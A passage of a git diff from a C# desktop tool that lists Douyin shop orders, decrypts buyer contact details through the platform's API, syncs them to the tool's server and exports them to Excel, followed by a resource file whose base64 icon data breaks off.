ReadServerOrder() + { + lstDouYinOrder = new List(); + foreach (var prodId in productIdList) + { + int totalCount = 0, currentCount = 0, page = 1, pageSize = 100, readPages = 1000; + + reads: + List lstDouYinOrderTemp = new List(); + + string url = BaseClass.DouYinBuildObjString("order&act=get"); + string data = "&order_status_buy=1&page=" + (page - 1) + "&pageSize=" + pageSize; + // 按时间升序排列 + data += "&order_by=create_time"; + // 按时间升序排列 + data += "&order_by_asc=asc"; + // 商品id作为搜索条件 + data += "&search=" + prodId; + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"data\"")) + { + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"data\"")) + return; + } + var jObject = JObject.Parse(html); + string code = jObject["code"].ToString(); + if (code != "0" && code != "200") + { + return; + } + var jArr = jObject["data"]["list"]; + totalCount = Convert.ToInt32(jObject["data"]["count"]); + foreach (JObject jObj in jArr) + { + try + { + string orderStr = jObj.ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(orderStr.Replace("\r\n", "")); + lstDouYinOrderTemp.Add(douYinOrderModel); + } + catch (Exception ex) + { + } + } + lstDouYinOrder.AddRange(lstDouYinOrderTemp); + ShowDouYinOrderInDgv(lstDouYinOrderTemp); + currentCount += lstDouYinOrderTemp.Count; + + readPages--; + if (readPages > 0 && currentCount < totalCount) + { + page++; + goto reads; + } + } + } + + public void ShowDouYinOrderInDgv(List orderModels) + { + var tasklst = new List(); + Dictionary dic = new Dictionary(); + Invoke(new Action(() => + { + for (int i = 0; i < orderModels.Count; i++) + { + var douYinOrderModel = orderModels[i]; + + TimeSpan ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time == "2000-00-00 00:00:00" ? DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") : douYinOrderModel.create_time).Ticks); + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + + DataGridViewRow r = new DataGridViewRow(); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_id, }); /*"店铺编号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_name, }); /*"店铺名称"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.title, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids, }); /*"上家ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.product_id, }); /*"本店ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.c_biz_desc, }); /*"描述"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.sku, }); /*"规格"*/ + r.Cells.Add(new DataGridViewImageCell() { Value = BuyOrderListForm.skuImgDefault, }); /*"图片"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.price, }); /*"售价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buy_price, }); /*"进价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission_scale) ? "0.00" : douYinOrderModel.commission_scale, }); /*"佣金比例"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission) ? "0.00" : douYinOrderModel.commission, }); /*"佣金"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.count, }); /*"数量"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = douYinOrderModel.order_id, }); /*"买家订单号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.name, }); /*"买家姓名"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.mobile, }); /*"买家电话"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.address, }); /*"买家地址"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (douYinOrderModel.create_time == "2000-00-00 00:00:00" ? "2021-01-01 01:01:01" : douYinOrderModel.create_time), }); /*"订单确认时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = Convert.ToDateTime(douYinOrderModel.create_time == "2000-00-00 00:00:00" ? DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") : douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), }); /*"延迟发货时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (ts2 > ts1 ? "超 " : "") + ts.Days.ToString("D2") + "天" + ts.Hours.ToString("D2") + "时" + ts.Minutes.ToString("D2") + "分", }); /*"延迟剩余"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = "开始拍单", }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.remark, }); + dgvOrder.Rows.Add(r); + + dic.Add(r, douYinOrderModel.sku_img); + } + dgvOrder.ClearSelection(); + })); + + foreach (var r in dic.Keys) + { + var t = Task.Run(() => + { + try + { + Bitmap skuImg = BuyOrderListForm.GetSkuImage(dic[r]); + if (dgvOrder.Rows.Contains(r)) + r.Cells["productImgSku"].Value = skuImg; + } + catch (Exception ex) + { + } + }); + tasklst.Add(t); + if (tasklst.Count >= 100) + { + Task.WaitAll(tasklst.ToArray()); + tasklst = new List(); + } + } + Task.WaitAll(tasklst.ToArray()); + } + + private void 更新选中订单ToolStripMenuItem_Click(object sender, EventArgs e) + { + if (!isUpadateOrderRun) + { + new Thread(UpdateOrderDetail).Start(); + } + else + { + BaseMsgForm.ShowInfo("订单更新中,请等待当前更新任务完成。", "提示"); + } + } + + private void 导出订单列表ToolStripMenuItem_Click(object sender, EventArgs e) + { + outexcel(); + } + + bool isUpadateOrderRun = false; + void UpdateOrderDetail() + { + List orderIds = new List(); + var rows = this.dgvOrder.SelectedCells.Cast().Select(c => c.OwningRow).Distinct().ToList(); + Thread.Sleep(1000); + foreach (DataGridViewRow dgvrows in rows) + { + orderIds.Add(dgvrows.Cells["col_order_id"].Value.ToString()); + } + isUpadateOrderRun = true; + try + { + foreach (string orderId in orderIds) + { + #region 更新订单 + UpdateOrderStatusAndEncrypt(orderId); + if (orderIds.Count > 1) + Thread.Sleep(Randomx.GetId(500, 1500)); + #endregion + } + } + catch (Exception) + { + } + isUpadateOrderRun = false; + } + + /// + /// 更新订单状态和解密 + /// + /// + public void UpdateOrderStatusAndEncrypt(string orderId) + { + DouYinOrderModel douYinOrderModel = this.lstDouYinOrder.Find(x => x.order_id == orderId); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (douYinOrderModel != null && shop != null) + { + DouyinApi dyapi = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", douYinOrderModel.order_id); + dyapi.JsonData = dic; + string htmljm = dyapi.GetOrderDetail(); + string code = JObject.Parse(htmljm)["code"].ToString(); + if (code == "10000") + { + //3 已发货(全部发货) + //2 备货中(待发货) + string order_status = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + if (order_status != "2") // 抖店订单状态不是备货中(2),则修改服务端状态为已完成(0) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&order_status_buy=0"); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + sb.Append("&remark=" + douYinOrderModel.remark); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + CollectionClass.orderDataList.Remove(douYinOrderModel); + this.lstDouYinOrder.Remove(douYinOrderModel); + SetOrderEditShowInDgvRows(douYinOrderModel, 2); + } + else + { + var updateOrderType = UpdateOrderType.UpdateAll; + + StringBuilder sb = new StringBuilder(); + if (douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.name.Contains("#1##") || douYinOrderModel.name == "******" || + douYinOrderModel.mobile.Contains("解密失败") || douYinOrderModel.mobile.Contains("$1$$") || douYinOrderModel.mobile == "******" || + douYinOrderModel.address.Contains("解密失败") || douYinOrderModel.address.Contains("#1##") || douYinOrderModel.address == "******") + { + #region 解密 + string name_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_receiver"].ToString(); + string mobile_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["encrypt_post_tel"].ToString(); + string address_encrypt = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["encrypt_detail"].ToString(); + dic = new Dictionary() { }; + string cipher_infos = "["; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateName) && + (douYinOrderModel.name.Contains("解密失败") || douYinOrderModel.name.Contains("#1##") || douYinOrderModel.name == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + name_encrypt + "\"},"; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateMobile) && + (douYinOrderModel.mobile.Contains("解密失败") || douYinOrderModel.mobile.Contains("$1$$") || douYinOrderModel.mobile == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + mobile_encrypt + "\"},"; + if ((updateOrderType == UpdateOrderType.UpdateAll || updateOrderType == UpdateOrderType.UpdateAddress) && + (douYinOrderModel.address.Contains("解密失败") || douYinOrderModel.address.Contains("#1##") || douYinOrderModel.address == "******")) + cipher_infos += "{\"auth_id\":\"" + douYinOrderModel.main_order_id + "\",\"cipher_text\":\"" + address_encrypt + "\"}"; + cipher_infos = cipher_infos.TrimEnd(',') + "]"; + dic.Add("cipher_infos", cipher_infos); + string expname = douYinOrderModel.name, expmobile = douYinOrderModel.mobile, expaddress = douYinOrderModel.address; + if (shop != null) + { + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + string htmljm_h = apix.GetOrderBatchDecrypt(); + string codejm = JObject.Parse(htmljm_h)["code"].ToString(); + if (codejm == "10000") + { + var jArrJM = JObject.Parse(htmljm_h)["data"]["decrypt_infos"]; + foreach (var itemjm in jArrJM) + { + string cipher_text = JObject.Parse(itemjm.ToString())["cipher_text"].ToString(); + if (cipher_text == name_encrypt) + { + expname = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else if (cipher_text == mobile_encrypt) + { + expmobile = JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + else + { + //省 + string province = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["province"]["name"].ToString(); + //市 + string city = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["city"]["name"].ToString(); + //区 + string town = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["town"]["name"].ToString(); + //街道 + string street = JObject.Parse(htmljm)["data"]["shop_order_detail"]["post_addr"]["street"]["name"].ToString(); + expaddress = province + city + town + street + JObject.Parse(itemjm.ToString())["decrypt_text"].ToString(); + } + } + } + } + douYinOrderModel.name = expname; + douYinOrderModel.mobile = expmobile; + douYinOrderModel.address = expaddress; + #endregion + sb.Append("&name=" + GetHtml.UrlEncodeUtf8(expname)); + sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(expmobile)); + sb.Append("&address=" + GetHtml.UrlEncodeUtf8(expaddress)); + } + douYinOrderModel.remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + sb.Append("&order_id=" + douYinOrderModel.order_id); + sb.Append("&is_update_order=0");//1修改状态0不修改状态 + string url = BaseClass.DouYinBuildObjString("order&act=update"); + string htmjg = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + douYinOrderModel.remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + SetOrderEditShowInDgvRows(douYinOrderModel, 1); + } + } + } + } + + /// + /// 更新列订单显示 + /// + /// + /// 1 添加 修改 2删除 3更新佣金 + public void SetOrderEditShowInDgvRows(DouYinOrderModel douYinOrderModel, int type) + { + Invoke(new Action(() => + { + if (douYinOrderModel != null) + { + if (douYinOrderModel.order_status_buy != 1) + { + MainForm.instance.chaqi(douYinOrderModel.order_id, 3, douYinOrderModel.shop_id.ToString()); + } + } + IEnumerable enumerableList = this.dgvOrder.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == douYinOrderModel.order_id select item).ToList(); + if (type == 1) + { + Bitmap skuImg = BuyOrderListForm.GetSkuImage(douYinOrderModel.sku_img); + TimeSpan ts1; + if (douYinOrderModel.create_time.Contains("-")) + { + ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time).Ticks); + } + else + { + ts1 = new TimeSpan(Convert.ToDateTime(BaseClass.StampToDateTimex(long.Parse(douYinOrderModel.create_time))).Ticks); + } + + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + if (list.Count > 0) + { + var item = dgvOrder.Rows[list[0].Index]; + item.Cells["col_name"].Value = douYinOrderModel.name; + item.Cells["col_mobile"].Value = douYinOrderModel.mobile; + item.Cells["col_address"].Value = douYinOrderModel.address; + item.Cells["col_remark"].Value = douYinOrderModel.remark; + } + else + { + dgvOrder.Rows.Add( + /*"店铺编号"*/douYinOrderModel.shop_id, + /*"店铺名称"*/douYinOrderModel.shop_name, + douYinOrderModel.title, + /*"上家ID"*/string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids, + /*"本店ID"*/douYinOrderModel.product_id, + /*"描述"*/douYinOrderModel.c_biz_desc, + /*"规格"*/douYinOrderModel.sku, + /*"图片"*/ skuImg, + /*"售价"*/ douYinOrderModel.price, + /*"进价"*/douYinOrderModel.buy_price, + /*"佣金比例"*/ string.IsNullOrEmpty(douYinOrderModel.commission_scale) ? "0.00" : douYinOrderModel.commission_scale, + /*"佣金"*/ string.IsNullOrEmpty(douYinOrderModel.commission) ? "0.00" : douYinOrderModel.commission, + /*"数量"*/douYinOrderModel.count, + /*"买家订单号"*/douYinOrderModel.order_id, + /*"买家姓名"*/douYinOrderModel.name, + /*"买家电话"*/douYinOrderModel.mobile, + /*"买家地址"*/douYinOrderModel.address, + /*"订单确认时间"*/douYinOrderModel.create_time, + /*"延迟发货时间"*/Convert.ToDateTime(douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), + /*"延迟剩余"*/ts.Days.ToString() + "天" + ts.Hours.ToString() + "小时" + ts.Minutes.ToString() + "分钟", + "开始拍单", + douYinOrderModel.remark); + } + } + else if (type == 2) + { + if (list.Count > 0) + { + this.dgvOrder.Rows.RemoveAt(list[0].Index); + } + + } + else if (type == 3) + { + if (list.Count > 0) + { + var item = list[0]; + item.Cells["commission"].Value = douYinOrderModel.commission; + item.Cells["commission_scale"].Value = douYinOrderModel.commission_scale; + } + } + })); + } + + public void outexcel() + { + string idsStr = ""; + foreach (var id in productIdList) + { + idsStr += id + "_"; + } + OutExcel.ExportToExcel(OutExcel.ToDataTable(dgvOrder), idsStr); + } + + private void 已完成ToolStripMenuItem_Click(object sender, EventArgs e) + { + Task.Run(() => + { + List orderIds = new List(); + var rows = this.dgvOrder.SelectedCells.Cast().Select(c => c.OwningRow).Distinct().ToList(); + + foreach (DataGridViewRow dgvrows in rows) + { + orderIds.Add(dgvrows.Cells["col_order_id"].Value.ToString()); + } + + foreach (var buyOrderId in orderIds) + { + if (buyOrderId == "0") + return; + + this.updateStatus(buyOrderId, 0); + } + }); + } + + void updateStatus(string order_id, int status) + { + if (status != 1) + { + DouYinOrderModel orderDetail = CollectionClass.orderDataList.Find(x => x.order_id == order_id); + if (orderDetail != null && string.IsNullOrEmpty(orderDetail.remark)) + { + MainForm.instance.chaqi(order_id, 3, orderDetail.shop_id.ToString()); + } + else + { + } + } + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + order_id); + sb.Append("&order_status_buy=" + status); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string code = JObject.Parse(html)["code"].ToString(); + + DouYinOrderModel douYinOrderModel = this.lstDouYinOrder.FirstOrDefault(x => x.order_id == order_id); + if (douYinOrderModel != null) + { + if (!CollectionClass.successOrderDataList.Any(d => d.order_id == douYinOrderModel.order_id)) + CollectionClass.successOrderDataList.Add(douYinOrderModel); + MainForm.instance.successOrderListForm.SetOrderEditShowInDgvRows(douYinOrderModel, 1); + } + + Invoke(new Action(() => + { + this.lstDouYinOrder.RemoveAll(x => x.order_id == order_id); + DataGridViewRow r = dgvOrder.Rows.Cast().FirstOrDefault(item => item.Cells["col_order_id"].Value.ToString() == order_id); + if (r != null) + this.dgvOrder.Rows.Remove(r); + + CollectionClass.orderDataList.RemoveAll(x => x.order_id == order_id); + DataGridViewRow r1 = MainForm.instance.buyOrderListForm.DgvOrderList.Rows.Cast() + .FirstOrDefault(item => item.Cells["col_order_id"].Value.ToString() == order_id); + if (r1 != null) + MainForm.instance.buyOrderListForm.DgvOrderList.Rows.Remove(r); + })); + } + } +} diff --git a/29WxOrder/FactoryExportForms/FactoryExportForm.resx b/29WxOrder/FactoryExportForms/FactoryExportForm.resx new file mode 100644 index 0000000..d9e7cbe --- /dev/null +++ b/29WxOrder/FactoryExportForms/FactoryExportForm.resx @@ -0,0 +1,364 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + 20, 11 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + 